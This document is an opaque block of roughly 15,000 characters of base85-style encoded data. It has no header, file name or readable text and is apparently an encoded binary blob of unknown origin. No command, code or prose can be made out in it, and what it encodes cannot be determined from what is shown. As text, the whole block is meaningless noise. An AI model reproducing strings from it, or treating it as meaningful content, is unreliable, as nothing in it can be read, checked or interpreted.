zAYM{TYb|I!^a>=F&Hcf1oo-x9GBU*U?Q2pJMjT-%$Pba-nHb1&q~Moy9Ma#VUSnN! z{7w)Zv=_s4!4v2n^F4H%G5;6S^n^~qaP0FE^Ybn5|!|xvMu5 z6Qwl`imVq)_BGvLi<2o_`X!2!f);)=omO9@ou^-C+N>@kmMKl7X>;MmJVcoHu3SYh zoQ3?t7psCa*O<%@Hn8KQh{p1@ybb9M#ulF*^Z2xt7ZL4k0wxZ3KmC>?T*%eqtT zDuP1}2?~8tIqsQs@uRxaH`$t~u>I=O9yL^Y2YdXC;#9B5Pu$KlGWJNwAnx_f1{EVV z`bwq%R-YCJ&j>0Wy22RfpMmaEE~Sep=oc6Aa^n{!puWIh6rW-kq4RZpDMcFkIFd?Z z6q&zYCr(C>w!8tEQo(X|1c0_%xkrCt_t4LyBY9jOSKus>Z9U#KFW z$9O`@QEfyH4WPee>>#5WyKNs=;=Y@nGNyfo!LI{(Fy{F@{th?bkSNV)DX%x!G1xr} zWSBLs)UjM0@d@a!iIG9uvo_yqN-d{v`3%@dNP$*K3wfWO9tM=q{MK zxEr`_AEf&cSPzT~ue#utSN&#k;_Fwh`ih74>f-q9A5%$Jes9}s@BqwP{iX17Y=rxX zUl#LW=0Q=2%i}+dYC2G(sHX1|98Z>iPj(5vt^&52^dHcTo*<`}sZqkqakoRaWQ`D{H|Hr6sg^r2@>)PhW@ z=dao0lKi8QG@VpwOIGWPydT$(t&&en`HZ^PnWAi4T73!S(#Pivlh?cFFq7xKhd9;S zKa+Kt9SDfk*BYG{upmfE%{maBZ?jp}o&|+_G`uf}8PH@?HJ&sG>6z8xGio=%p@^jt z8~>d51GTdrBl%?GU@R2=cB+5NS%ZDsx5>xy9TzE|k%tS@taZUQmJl%(#R^Vyymo&x zWLP_zJRcq}V@4Idn~tKN{b1&pdAb zl|DcH2+&>IsQkk8!gvqR5p;YLIumWh{vcwa#FO%e=seI_v({pRUXYV6nww7!UgJ0n zf+$JnKXFp-=dXGKWml#|sGLzI4(sfY*U}>bjuQ-L2B6h#YJ3~%1r%e|62L05 zMNAX%T%`JO9><@`NO?#SX|ht1#eI}JmZaT5y2_u zN20hs-FH*Q;lJEQMYeaYEkD+A>C&#+_{tVc^n1F{sx={?mcA2yln}gAL*>4@(=5rX zm1aD7MrU|<99dO2cnWpn4Z{Pe**?d8vUQNxmLHfHoovQ2Go_j!XO_lgg?Fr?~gYxw<7^rYwq zv~+P*=<}D5ynObn>J24wP!VFS#_9#Dh67k=Bc55XjGd{Y;9ydlFI#v}CnIIXl5Z4% zK@KZ@iYp56Ik<4+NDOCvYlzIy^R%bziLj$svl%JZ!~wimr*wli#s*b}QQKV96-XthD0(W#1@Y=I4J2+@8UU3=Q=7KozmGkjeE>dZ_zY_+6#o>6dD-C0z& zxbjvM9^SMh*p(S7WJJQ?qRIYO2o~R^s7dLQ}_nZaQ(KFv8Jr zS4_}GEg@~eoeSD z0y84|2Gna}lb1TxEcQ3!?)5m>we;0JMURMUs#c7UOkxcdA9H?{E|ZS^ERg2WxtIe4K!*?b4KSbWJ|_R@(gD-jhTu z``8WD3pVQ&$)#tdh)i)nj(MTk*6U?DXh@sbD zd*CCB)`*>cra-aR!0Bc0P`KH^XOq)FP^4%0nCW6NCZf9-3o+MNZx&Veeb5cY7|UN1 zg5dQ1EW0&cZcuF<-(tqGibN56{(V^-3M1U~rVEM_GW6?iER$L8r_q8!Hl%B%&j+uEcFVGxX!eWyw+CC1~_EO9_@RrwHo25w*#!+(nh) z{>C0y@})$}@QG3Zq#;EsRQYs;rBE@^(>c8KKAon}D3NdzPdMV;EA;p&)vfi#SLEpHiXr_*4I_s}&G1Tg z^;?o`hJXj3RAu`1{oM2{#aT*29Ti#B#O;!P(SK5nD7^W{Ro_9tf)*gN5tbH5w6e`z zG^%(8$}vPAVMt9`n1?=Y|P`c~K@$Js8e6Q)K?pLs>MKiy;Hw$zoSk z0G0I+IH0vdSoZn~*il;BMpbhJq-a&7xg3KUJCg;}VGm5nzulY;mHt9)!Rrp;43;>) zyuE0zq6${k#CC~~QluRFyJy0JfM5q^5Zi_n>M9sOztZ34C%(jNcI=y&iDr`Xe}w@> z!1#&TH81R!)JT5_5EjPwC+vC*L(M>X-3UXZYxbLhL0Nr%8KVh@!?JZX;CP{#s9}mQ zm+vnFA#h)~o;n`X-_-oN%&LCc zdNAV1>=zaE!W&h?d%gI0(}fqC;(UU7?S};=e?Q9qrj<2`2~q7iG+&m3sFGVUd{Nhl@P_#}sUJJ|4nR|}J4g#OH1@0YwZ;ZHcBB%Sxr)4VNti%?e zM?GCED}CA#885HUBq8g~%TFSvnaw6JwTKHn?s#*agNYu2Q;TMvdhdLmU@IGqwIxQ4 z=*>RM*CI8OYmbh5{wbZxaB_Y97mzmErHQ}yxEyiv%cHt-c8YX;E&em{(~WrtHMegE zHDj=JzbUXFmz7e;VAi(ON|5crLDW-Oqzg3BoWrIvzM`Cxsli+t+WhRk)z!976s<+nH#vx>ew@v-S&14F_{n{=zet*)<5 zfy#}Dp(D&8!IR7%0{Nk!=fiUv@+d{Lw#L3yuiKK8sD&@ToF*AMQM|a0ff!j}W3Kmz z4Ee?SGB(!X6MmgfdfqUIc!pe|)=}UNW4ZOlKG;eXka-;38ZXmtM?^ksaS%RgVv>e` z>Rq-TU?%VWormh@<-9Of$QK_JF@t9UcpgYV5#CKW#V@fHaWF8 zF@f*K{^^wOAW(R=DtULMnk^;EN3^TUn=4<74VUj%Vt66#$=fUL)|;XIoDVmFe6w72 z;H_BWuQW}|N;@@{vK~5~1CY{meS=Mw2FfyBUv`e{T}`C65d&u}RIJ?2+AP=J^3)WI#faZg6O+X#Mhv=>x?%%IZ# zM&;IEsRj1n=;TklW}yj*KskbGs=FZ4c`Zlq6GVH=KsRq|&flE9F3wuBy~5gL7h0}F zE11b?FeqQXOn=K~oH3a3aVQQc9jm&sfI|Mfr+!YqxL4QNci02iCc;3*m#CrJh`<`K zqiMFb0ma{r0Jea#ecg!QB>wbQ#R0csdm#Hx8x}AJg~Ou^Kc$;{NgM^VkGv`iRgL=Y zj}<1*Yr|0#^aR2lJ;W1$3NGufs$jLj&O(tE0V`U(2&#+%9Y~*Bd#&I2 zxV&_nvT=t){?reJYI0|u!)4F|e-hP>Z*TO)K4M6nmw=!2r5=+bFRF$XINNW%?TZWu zaR|+f=Y8H7C9{0|IUkyIDnHm}%0}L_UP>C$`Zz_L77}X4j{pI7L;QZp^J;_~ilTDX zx-4yhZ@o5FltFHw2D@UWFSS2jXlQbXKv(^Xe$UkpnG1)G5QPgDm1!c4@Mx81eMErt z^3-fE^xmsJw=p?)Uw}5j;>Lup9y|Vv5A)QNyv-KHR>CT)B2u2$pH^`=i#thauhE?? z@ymY@Ha ze)w!mlGgNDvH3IZw#!^X-B*5HuUuq@1GkOttDC&zPx>`*cf)-ecr+1(Dw%~^^Go^D zcI5WJKzjX?gA>mMdS~JYqNApc!4|4?CX?0*5~(mrO4x2An6qEW=(8peak=v*k?a~| z`~YFcCWS0MHH~AU`{f_@j9B>te$FCUkX<&ll)`rZgVpNk)!NjxL>Upre{cG@xgni1_{27@vegj@ds?}SXIt?n; z==anU<~MQl300-%NO-Ak^x9*o3?{d8XP>5|+GEAu{n6bZv8ANK+{b%9>ZCtL3|UE( zDP+j}%nDOU#b$FegY(I5qYENECsc?5ApkARdmh2JJQoTlYW&ECzyLq4vUzf~GN013 zS!FIG`EE)|rccw3SLnyo%vOOmvs6(iI!jZ5MyRSDZg5g36V#2HU-o_#or8TjOdI;= z)XzKqY1{o=iQd!hOY8exT)=&b8!Sq&84e>HPl;uVmXDZe#G4(%L8-@ zu}0vit7jzWHtfBUf827h{JtBgaj1mS7bOqsCz0eHXPfEz5xUTdx~$8MTtqwhFr-Q@ z2RxB&d)JDfHd%(YNU~d+L$ae!usLk-Z|G{zi{_g_U_`zq5)R^Se$21%HD4|nT631% z_})E*`5`UkDZ14b6DgmjePcGAZ$W%M2X}s>x!wfb*5~X7pwC6)QQ{AGZT{Z-idvb! z`gRU3QHTg_eFwn!0*ieTA;7{qd-1y9`Rn2Q=zC5A6Gw3C>s~iJS5Jr>bAE#g>@{}(wK)3}q3mQ}Oxd(`@WX^Mg$33gLuks`#JG%F@mDoi< z1!KTBlt>Qmhq{gg>e}S~z_00c(2Y90D#^QL>`6;W9mYG8?n?f)nf4d}B7})BKg+8>+G$ynjSTe2{Fg z8TL9c5ze(Cm9&lc?EEm{|%+kdA`G+Ao&?Gy9Sq`YQo`M6Y5xRu+ja8>THFWu3$Vy%3y z$u);6kLfMO2Z6tohwD|JP1Iev&5qiOXE0|<8bqW0^Uy2xgP`MUJgd@QU~|I(E^c+( zOc1>H{W8<>3u{qKa!R}vv^Y>&osW=mgT|0-J(px1)z*Uc`g_=Eq$IE(njAFDYQGEi z2RgK~iQ(6rn-k^w?kt8cXh2hA>9HL8)j+rw{%{8(%`9e|sr};HQ3+LVv+vZDr;#h@ zX=AbJO*$p#e$qbXv&A3qH`Zr^q4RjrefD)jq>ho-Gm=x&N32WRZQ#qa8rqvbdLPO5 zbU%9{R|p!CG+)o^XX5wb3a>tJSBWU=XNZMPBxwFPB5S`4A#9SkXc;@FKa=hY;DFaj z7%uc#dg8wWh+2NaXXn>1GRvc$?8cne0nsBH0e&szKC@t-sqYUEnAP=C?0}egUt-Vu zzHqU@VGGj&s=#AoK&eJ7Lm1vX ziE^6_^&$DY@0LobTsY6E-IKl~Ha6RKwGF!o9B3I7&NWmmh<-CXqyOGrZoSOwId*@e zR7Uw3g$XgB?MrO7jfqM*5%~uI@BZMqCU~fE6j(noKAyw&>cwmvh@YtXjZRjM zKW{ml7GJ9Uh!r(=g0(1%P}{(vp&AS{rDFZ}fiMGplSQg{z_8MS$<-q(=YmB@7-^Fa zw+wE*Xx$cfsXvs>3hD?dD6o@>m%I-->ApWW7^w+feiYRrfulogq#p$4qf$Jvd4Kfn z-6gO^m5;}1JHL-GodS8hR>iH06|ja z)Fyu&OW=gPU&9fclZw@4e`AGdqkZS(cSgmyRI{b5H$LI%=nf{UQqy%{vn1Q$4pve4 zH2m;SIrG8?o^;E&6PR4YqAt2#NF%5zF4iGonfyp62ZgzJcmtz<>El`fb z#%cSj%iXhsayQT-VgxQCRDERNL6~&G-`J~K`JSiMt#1~~OmNu|^G*8wIVf_w06myW zyg@$w3tLO7l|nqh`4PNfqZN@nbZhwAldBGEfhn&NgLE%B6{Aj`YK=&<+R&=V3%yi;C5e@{OgNHa$U-P zgpG(D#9?@|$A!~s3E!>7!%bWgn8Uk079Ggw$Yf_We73J?sGew6;tW4B*GN)f?RJ0I zdJDFVopbt@Mu=%;^Lpf$zBHmrj4Z3HRD8M4cJ7%}uS2D;$tj#32W9nKV=Fi4mqeLc zpJZtR7+w(|`3&^J@-2Ee7%b8=!b5!GHWck+xQcxjaTjSmN(=xU4S~i*Fch; zGRul9@`13~N!DWPq7P2u6(2p#*sosM3j1^cS-ni!-#@$==vGv;w8OYd`VW4w5{F7< z`nWjI@GW+X#wqv<}-TNw8O;&ABQ6rfa@{m3KWeA`7zPE zWzSZ=?9_asxVT~Yl0OZMe?KnmVp-j$?7_qMj6zjX{;h9K-{4ALthG~UfyRZzDItba zC^FDommDMsg&p`*Xz9NFG3y(={NMZ!|6Qi?J?KF&Z#X_a_p7(E)PqUu9AxIC=n`>! z&0~11%qjw~n>b+@$9V@bUh$C5`nyGkrVrPzGsI*xH->RI%yIdrT7h4RMqF8=zk8F# zx4>SRwC=P(Cfmi(W8Pwo-S{eU8B1ya!=2yIQbw*Tq@YB+VEWN~aLsx)$s^wW0Ibar zqyF&XLun@E(!6mRM_&Yd^?~8$Tr6ssvICJVp*&#U z7eY;1NRa=uD`_rs=)UB=U!iCpi2eLE{>Uq9B}%j49yAO>LgI}EU4p2a;sh6eR6-SX zli0WD66H7wx-5+~q{WFMtLf8_u*bQjVR2p)!^Dp#CkCTsA7ba?JA7__H~x%_)eDP5 z7tRvC)>aoc{_a#t6Nz7wLJjV%)q_PxFKx)TZff{kq%;mX6x8vr=+-fZ8A?x=wpYxy zCiqA#cqvbpc=D2FA?AYN?;9&2CVbp1hie2CGpH`nXBdG@sI2jJI2+tEq}yH)gviq# zb@Zx4CY6bO@@?AuArLC9t;K}}8C0pS>gu-Hqis~i<* z&cPY-M2y2H?w37!3atgvM?R49-|eyeu}{MVYhP?v8hI#s`dodv?&dtSyF0w_(Hy|n zz|P{(_xR^g4q$r;FVoBKR$e~E887KJl+khYEfWoQI zq99nw#P;%3!oBQkat`~vtKCV9djGJvOOtkeW64(|KA13U>9eqH!J9t-O1jyTJk&;z zQ(!GQ=z#olN7C-G8j)ttt6?R6o`9)AuYOO6e+pmr_DHt4!9XrPJ7gx=tg%vrdsXp+ zgO6W|#&ZF$X43B~S7+P%Ee|Qm)n%t~5DOZt10?F4+e~IJ32l|m^S3}62B9nd&zsN#0;oNt4C z*!L=5Za02E`TEa{6ZZl5%vFM=ZXTuKX^J&gC*){q6ee7YJGrCxoSFU!9vEqZHoQIQ zsJO^8U^jTp9r}`WoKM3v&DC*3RVxQ7?8L;ke5w-yW0n;3%F>_qR9fw^wP%elG6$<2 zivmwQ=7w&sbE41qYn(+!XSwFbl&W`gU{)J>*00NgoteIvihEC z!Nicw?5Wg3Kx?;l$q6>fghD|N0lHJPLuG|y~7^wAM1rr)g&`qX$oA6b9cWFRuE~$R0;hK_f zIPp#2wq4|CGHjV`bKO7l8HxHpbei$*uys2|N`+t*dD`Kap#!?uM`jwHMryh4)w*QH zfn`i3?wPbOIf*`8OTmt7@iJpbrK0tq-LT(tK0q6~%;!RHFzp^xa&xSHo@4($nzEP@ zar0>5n|xn=gO*`DR%Z<>D1`B%ig~1YPC1BMujy5rJeZixr6|h~DwLY3?`76-|9cWp z@AuqfwZPudPZ=}m_xu<|wq04!ursF6f+4KFoaC#7?lmOW`Bp@+%9mHKwL<1s;#Ys) zk^(M^E1GVccgxt8#%)XJEho|6Ih{;!HyY}>g3cBHwPpN2<97g)?CL%HMN>rZ@fCXa z0VE}*65|$5KyHq{8cK2|Alc8<7`aAlfW>nD17yrTxe$RJEy0mQK+et0MMa2R5l#`Ej3>GVq zMQc;463Y*|kC{d$U|9RzOO{bE?WWGl3XB z+}6}}fvfu2?65$R^XD=E0JtiQJINP!9trkvPzjwb;?I)#q?+F%^3U2jS?U1b(`H`+ zmu<{$kRtdU3nYnt6Iz|Yd(@`*L-BX%FvH^jCg~0ZU7KyWMC{J5dJHI$6(Kl6OFUYe zm05)@nLoF{M;09b78#`(O)J^I;DssbhYVZEnET7|(n}w9PInUjrZ{@tjQL~LnT=8# zw1xn7TIS0$Vn52|;GZ8d^|ksYrT1PnEIxwk*xvL`Y{QdM3 z!pJpL0sdP#geC@)LM^^={HhFpTWNxJGOE6mEeillbxAptH19H1ie3 zQA0VOQOmZ8ql#9f7cGy2phatWrv7XHMs%#2v+IoPkFl+vH9tDkzI-m*N0qEo4#BH6 zZ>{8@h?Q7SLiK*>I{XZRTZgFP66aU*a#!?4EfL)C|3`fM{u6pI8weujJa=|>iuGc* z$3D^CN49?0Z>#tI`sGW#N;tD)Ovfwf2ThGfo^Y`)VE7c&4E>4V_#jo&z~gngQ4L^4 zGM3$O@bP`;K*y$#Sq7{hRZ7%i?Y%(*nNJ85oG9)Pr>empyA6M+kNtEacGSv$-@J%S zuMzq4*S*o>($yCb&A8~O;3%qX6no|74CtOF6fuNxhn4sqk% z7m+yrU4Cfe{CRs7{5#q@mi$(u*vKay9ZM~4-S;^P)c|V@16MI?xMRgIWLJ4Mceb0GJx-K)!zCVkW&yS0H&8Tc)Feuje*6Z!c zTl3Z?F?TsH!~m|ikP#JadTmN-`|#Uh9Fkd#LW_ix6b`-I*)5@7izh;U+D2X$`;P6w zfFC|{+m~<1Jmsl7!RnRetwShZc%POC`1BKBHofMS=ukz?a2&g# zTVS4UWene`~APSTs1No5dn5Ef~=ICH@Rq9TDljh+CCfK}f`B6IxjzG~bH~HI+tzmJRejHCEu9b$U?OVYcD42QM{A?d z_w7!=Ur>bNP!;0sw=i8afmBANHQ;i@@}Y4A{!#FzrtSOr>Hc!{6dUQt_vk&c0cZ64 z3dz5_s#w|s+ecD=nKz@*KWc81wq9FGcg)Jv4JTbp5){)sBsnW-^E^x1 zK$Ub{MIA(44^?+9M?R11zLx%je~LO78g)u6bcs562$tT%_utLUEOFx=(6S)=Z<&0C zozJ3gcS=RCEKv9F6YTjQJ1{IR?$11;rjZ?XWQ<)5-gxR~ILU(e#)ZdL*?w@ewtV+j z2d?YtLqPgQUF9}%=pNfCjnlEs{p5dpV zwP+$6RI;Z&eb-z`Y4xcw+?p8ew4Hrju*q&vlq)Qn1zG7owJ-ZwdOfy>3kY@dsU-Q`@E zOW%qSOID%@b;(MrKm(-$^pComEBhE#Dr{3@a)5gWT)N z6}MTHC+@X<#P`1~?3dtz^YB+k&D1r)WI$WX zOswpAA=s2Yzra^`zY`Bb2*&_LJAN1BBzV9#ia{=doB89qq6G|MlfZ`m5N^@~AK2`<)&OT_PrTRDO2Rw!&J(=!;EDiWxdTYS$r=W-4-h z-6{vUvt%LdOTO>Y1Z~vk9P^^1VpYlUE!JMq({|)aYihraJ7G#?D>Y}mOpBCu5zY{M*v+sXyvQXK-;iCh5e~5vi$nq|lg2v0{T+yLX zd(I@T2jk@qAtW+U#R!2`jKbGWtpuWVj*bZm1b^cdf)X-p|`h;?Bnk8Fcr| zw^fYSf2VACD#rAL%f`lK0P6Si{&|$DqdNxTB|#+}y9rfj{u>aUsa%0~#OYfDutBb> zOZt<*57CdsnYi1&ckaY9U^05O{?kI~z?WGCAuQwLGk-4jJK6~)gPEqo_Wu3A^E4BD z$J6qvO!MJc-fyPu_iTRCt0l0Z1jDD#pe`Cg5vogMbHRtxAvleHr{ELuyGzp>EKjp; zycFTGYE4&u~CHH{)AnL0@0tFj{ z8zxJ7EY{5Jz7HIBtCShKYVr+zBPk zq}s^yzMpgWx2*JMDV3h5><(j1i(e4QAaEdTb> zI@Q-X*hu<#}?TMh_|I)yAcQuCIJ z+}pw;{s4GDe829vxm4srY1V*J_=Azn!p2}enmld$S`&w{cI?95J-OmihmdiV z0+^L~D|yqCm~+vTy4-D1quCaALA&hx!SA2hr2h-Fiw?h^4PCTbRsZYFDiI&NerZ{TkaHIW%iXF?I_JC6|%>mpQxTvs)FQL|TK&l*~gR5)FRuVsu% zSDjcIC`TDr@0>e>>n?RD9u=vm_G?BMf$NV}9b>Gz?O_c3yX9}Yg?lv7Y$<~$4i_s$ z=AF@U(~dBFc_V{g@}7GkWL*b%6679$9^x^o=A125{bb}gld%QN%W?R;ui1mWr|xoo z=SVG9RIE2Ts(*>fv5)V=0FRMj@dI4qlo>}8Wq^B*CJKtsQZ2(^%un=4i=rJqcjcym zvT3i%5>(=MJS4pnqrFjOUG*#1T#gzB&!aN+TS$e#z6DUxgt0RDwiH2V%(C=9bK3uN z!532jcT^cwy;04-w}_5cvQolGY)(&pVL@u^`;DAGafOslA(fTUXs>t!AEZO3hwH*oQHHB&jM% zeaq0(jw2>ougX3Ak%}dVa(PdN17)#_4nh5ij%>9a}jp*MDw=#;V)Un|}H99P&-aU|!VV(S@a( zMrN1^F46q>T|~9x?$cCjrPyaK<-T&0EhQt}m5yl^fQ9p?EX=|REQ#yWhsRh<3pPG8 zhl&oqsv8RYHtfQOLOPQ6Vyr9A%Uv>anO(vF&%(V9;o2qG`4+~4z~KF|2C5Wl&7s$2 zp1gQNyCSRxpwgeRmzkz z2x;CQdTDLv8J8)iKQ2@@7FRCqP^oAbU&&!bu#!)BLX?wubJH*yqLlSCKJtl^x;~Gd zC=s2MSN(|3pQ%Ej3QKGSz(`yT_@_apT7=}`$S%Zvse{mG5eHHWfn&@&iH<(~Z^s3xLRXAb3Z9I+h9u=v`7?@IGK6#o~@ zB@WJw?-&*@UH+;C-rUx^6@j_z1K9*bb*RvaKB;r;*RCBklQ2#}JXPq0p{L2{l5#q8 zHa2_s`^Ee6Hc*FzD*AH36N^ki2xW*vc+=F}x9XkWf{g?4V#t1}_n;C?a&LQFYmK5@ zU-pA$$4qoq)YQ`r2sn}KyUj#x&E4WpNU-WiqY?HU-IVC2!3zy-9`C!yUWB@O0D{E5H7v-_xxMIc!=Xt&~+N zymJXxr-th#WY3r&U}wCCd@*oy47x?f`kc}gR-;FQ<4o=`)FN#5HJzv?Lk=qxAQ$R8 zAa(Jx{jPV9fq|#AY#D@2jfKwOgJtL*_4S7<4{NA&#Sn7bbUK)x<;+_jVZE;!tCnE;Dw4-^;t@Rc)E) z3VUQ-Zi_4~WXl}ptwPJ_9|6H27%7jg*V*EZQ)&K7coA{(EJFVK&KpBgV-V&teO1OvVb6BN9> zm;>P`_1W8>{EfQhuguJ$40gob^=Rz7zNn*L!a{B2DV)^vI<#A9!G=Xq1?AwE`u)b> z$n48AszR7h+odigM1US~&RxiNIs7&Wo6!JO1A^Ct+0wFxqx?**o`1hk`_CADE%lL- z!hD7UK3p50Z+T}N2d~6uE|?2~SSxJgzU2MxoisK*A8O|fS#A2tXN2HpJIeW|Y5xBj zroid)UGm;qE@~4tzy>+I}C#%Sofmm=lq)1uG7+CrcCSQ{ENJgX^uGEr=yT;Jf z`lwb6&0FRBh*6WlsZBwl$~(frc$L|bJ;RoNxF__m9s|@&Af_?f^=G>qGpwf4Mi$ASVmrq(7V$ilamBSlffPgAUbc@3MZU5bnz9_>wm@`5t*%- zBUtMzN6u)g<;3-x(((Q3Esx&B%tr}vY}%A7(fAQ<^$6>^>c;9HOjKcuv{{UcK_(e2 z%h6;LBZMUvBD+dfR#tP)6%F-2NO#8u%c^LyK})SOocdj`z>F@#=bue-*MBY%v1kfj zc9kubj)urBdFHJlSov5oll_5eTugt{s|vKHP?-hdGxdodKl*&z6Yj3*_dYjP$h5iG zG={2wQ^#l#2wMizqGN3KS=9Q7a$UMJSrME@OWbMN(a+0Rgky|yyq2c8NG+gO%GMip zB|Z-@94WgF6F{QK=vcl6)cxNHsNt{mtb$|@Q$K^3xB z8oyPHXU=OHXN#!7rO8~+FzN3a>uJR!?(Kg)=4`*6Bgu&=c*aVcm2Xin9h%JQ`FiX6 zp9>@<1usx-JV{D#Tz>QS_%r?*DVMi62fq4P#$@56Qv>goH90k6?`?UiP-d%ke4`9W zZYXz;l>K@nd+59Jd4fV1Q2{Ud6B$fH74-LF=#?O!1v556pXP5sxRB9AO4}K z4oUGr&(|boYFw7SW6T1pFI&<9nHtj97As!oXJ;Hc1q$!^<4=SyHVsR}Nd>xeE7dp| z7BeGZO@>JlRP*}!J!_Z6<2mkA#qx)ig-))%a21E5=DUiSYcmJ5PU0@>A@p||1_w|t zk^kQu-%od3xP+E2?0Z_WQk~0N9;2w&) zaT+><$y_CFQk{F|wED!PGC(O+61Hh9U(t!HuBr_o|tTNHYNB#-hwQdHHU8Xvt-$ebUr^BU7MSp@6(*V#$Pz< zqXy@A%2fLT{*0w?6ix zCDcXIDt8=h_hagW{%7XqJ;_Wb{Xl*EUZ#Ctt1J#Z8|J?z6yVl!0^S1?(6@kXmboU; zPnRAgPu&OlY>5GS+x~zeR)CM#9u)V!B6!%>hKLc{!np#O+IV&mXdi$7{>}65(2#M% z_c(|a8&C4aSs2tpb$6oCW~H{LoXSOtTUa7ja-lirrfcBTsl3jW_Kceg@K zpN4q)-(`cQ!DB!LGTi{6esWt9$TV$MMO#1)Z_@c=>k`j}4%w-DTM5odeQ;Vgh$TDZ zao?Lt*!jkIF?!$8<9zYsUD!Ql3IazMfTZjQ<6fE;X_!c) z{G^BI8rkESngW&+1`yD4bN;y5#dsdsMGNoiRw{(U>2aSRd7KK!oErbR@V7SDy!D!8 z$}AQ$EK_|O+J%|-tc7*xm5qaqh6R)X(R(fhTW0O!jko z&?fio%lkhEO?FG5Ub$i&`5T|7oGjhChWyc>+hxzLyWElMnvkvB>#ya4~EL1M<71D0?t!d!eWHw-=Ah{_s+G))P8^Wjl*a`T?i!~t`OM3$TPq&;$%JgHFn|O z)83mn$OA}hQ>bSUn&~o&i%R&E7~#&%+?GSFgW!U~fal=*M9BusqDX@!MSEdKU#tf1 z9&mjxj6aEN=)6oQ{m^?lOFyzSMNg(Ho+1;k&ap?Ne`|SMk93Sf=_rk>n38$DB zXxp;&v$vH%<#m23(P)MM`^~Q+NgTs6HLH#Edy^BnP{p5SwcDNNlBK)QJkj-V1|-CX zx7Sg|H}p_Y^tHg;@0}U`DkKw};Mn5#5oN!&mY)9$p$29Y1%g%1oD&&Kgp!2Q=IR1T z0d!sa(^Fm;4U?QOZ@7qVMb|r-Uu9hh2MCEK_nYR(0neu+v5+VIe};qtpMl%O!ZcJ-@+;8C6kbPkeKH#x#Ij`L-FeHx-A<$wv-pF;JdwE{J;8%Jl zV?-$$#Ed&p8-LRFtAP6vx}PP>C=lwpm;lsFeN(hD`o1QKQ-tik(^Ij~tOBHB`S-IL z$mHgYe*3+^{<+x`G{ds{s%i-a#Mimcn$XDXQAHxr$)3^CTw1 z57LrBIEz-F9StANpeJ%0u98V)<^mH0kppYGX_zhRnX1G%#}RpF@I3rKFB>jRSlGgU=787nlM{*&Up@~9DUJxdrmN437gSC|$Zz%u zE^Beyh)%sQpv|Rz%y4WZNU#-JmWs%rKpx@$(ew#%Cq!n5Tl<*2{p3Y${?uL*S}UNC z)Fq2*deYNwIi|Vr0E|UNsn&Iih<-H=aAhj-qs)=gxQ7_*O5G%ku^LS}Jvm!UFHQ2V zLnol>W2%YFocU`yGK*nCKKB;ycG6^@im;Gi@j&w96mQ zz;USA2#f30xy8i;x#W3SE2S;Xj}!m4Xf>qsa2e}`aE*1qC;o0DVIcO>g;dtn-LLHU zd9i|ReioXNv>K%Q?iWZO;XtCK%d7H05IL*23Qw?zpnQP8->``V=`_%tsv%zXH4GpI zw18gx@;lIc2~@rtV3VtmmfHjL*zwwT-frB=bgmv3i9T%%4IHP9nu^`+Y;5*Jlf_xi z<>gQ6g#krm!hKyzcBv&j}oX$pZa+zK}NvWoJ;qYKBU0r(c+ z4&A>?Vi)-_hXNkD_84XqrrS3s1bm1&MYv_V4uGLKZX7A6_G#nB)GJja(C55c(D~99 z6eQ-KPdEpXkR%5qfg}%5AWFp}3q-`)#h1SYA{UA>H9R4w5s0Gs*T<}t@XI+E5%TWz zgU<>D3!u5m!Zwn74{SMSg_E;vwGA7;XdQ0$Bo1o0kf>&TQsW%(MR0b1u%fJT=;afs zcF$=P$OQJ>pmzr?_N<;wL$m-0k*qj#@Y&B{8A*S!%|uSS0Wc(FR1O(iNknuwH(GYO28p}{_t zKV{c)jq-9{G3DO+VF~+it!_$^T>UA z0HjE-QNo+-9f6&M@`tb+)-V&9clm1lp|;6;s~_&0JrHPks|+I>dB7!-YArtp;&|tl zy|ww}+;k;XGXV-yPmNx$6~1g2=ACLHlWLR5_Ma^jRD)5E z>@g%z_LJi08lR#r4BbV+DA2Y<5^6Bq>WX^w`4#ylJ(tpOyYoGPZ`8FgAcHb@@QZ$x zPO0oj&`dv>S^I&W`sX@#@aU2E+4q$fY1mo|J-FVE1ef&rQuGmPF;r89QXJiK9Mh34eQv2VM%pbS{42HyP#9ajZ4`!l`u(rD&;aPTTD* zC8#TBJnkXGraUj)|Iz!;B0DqHkpwxsia`;Ii6*ZhL}9~#s$QI1R-b&eLLTOe>Bl=v zuOhQrAS$c-yQ1~SXd0aR*V9`nQBs>i!;tYK<0u)EMVfVEh`6(p1Gdv)u|-^Xg0qrM zn|v3Ka8&G8p;7`~$&VV9AXjd47VEYrYM~BRGzF^y($jX`VQjLa&VH$lD$ZX8NF!r} z0T}44_Dajv4}jV4e%F^yZoSUiNiH&viIXnR?W zS?pv5izIEnx%Iz*B)Xx%Gv2Xb@}Uk>i~B&n=zC!E{=0R={UE#o*aaAaCYqkqp&t<8 zd<0c4^@pD)H5CKoZ6ejB1wn+trR>8el~s*%z}{Y4=3liOov^CoAM+-WRJ z(u0aukn43L#Ry79rQh>VeAmeM2u~*r3!ldPNa}t8Mkl(4Q&1jUiD; z8ax$=ATTXhOHWuQT^52%v<~VxLNL{7yh7>XQ*-!mwy@5Q#c*wP2KLll2W(Z#uu4U9 zeIvV~8-}=t)NIblYSUo4$+HK#S&dC5!j~*#yf3qZA89OB`lXS(tzdNt*bU)tlE9kX z7rmy}HxiBr$L^wj^vyA*d40LCnZ|?0yARHQhtrkG6k3rovqbq;0bJ=%KfBR=2faT1 z!@Jv0A6W{3yLh${&AxS9=JS2}4Vdhtr40wJB@66CNU5JM)a07v&j2&(V?x;Mz$YP}H{!4M9zqy{iXTVpQi7;0t?#iiCQ_;5y-p7wm;qnvZxg*La zv>xb#K0u-B*$~1GkDq3B>EhqL&{frPqavMKlUMJiVq}KEy$0q}dwGXl->3#wcF1g* zjI+T{1Rt)~_qD8X4%!0L3TWh{kwjQ`7`ncX_eckA z3|FO!VvZh&qC~Q;rcOZ;c_Fdxk)~YtI@22ccGPz(n6H*+_cbGORU{n?c@wbCwJ#U#MVD{p~UgOPZb{u=aY3(b{xao{o{c_Tu45+NlL-bBiNb5))Ekkkn}ZTC?1CccfFqEkHF^uS-=2w~<%Fsj*k zi(7Y@{{AZ(P<3vj_yge*Zc_@(6uKEoQFwnrT;`$7?7{K4Mk6EBid0X5xMFf);PNfH zFP;+|kaM@s*}khWAs54%7FM^|VINO!jF~Z^6<2cWkXt9nI2yBXH~s=Tvmu@ELbHi0 zJn^$fegUI2A3&3!e9+EeWCQo*hap@>sl)k(@T1`kRLi{P&7zUgjl3QoFeGAqV!5<& z!6Q+)YZ5vTP&tUSm}}%)qeR;x2mPPhhl=P56e&HK_h 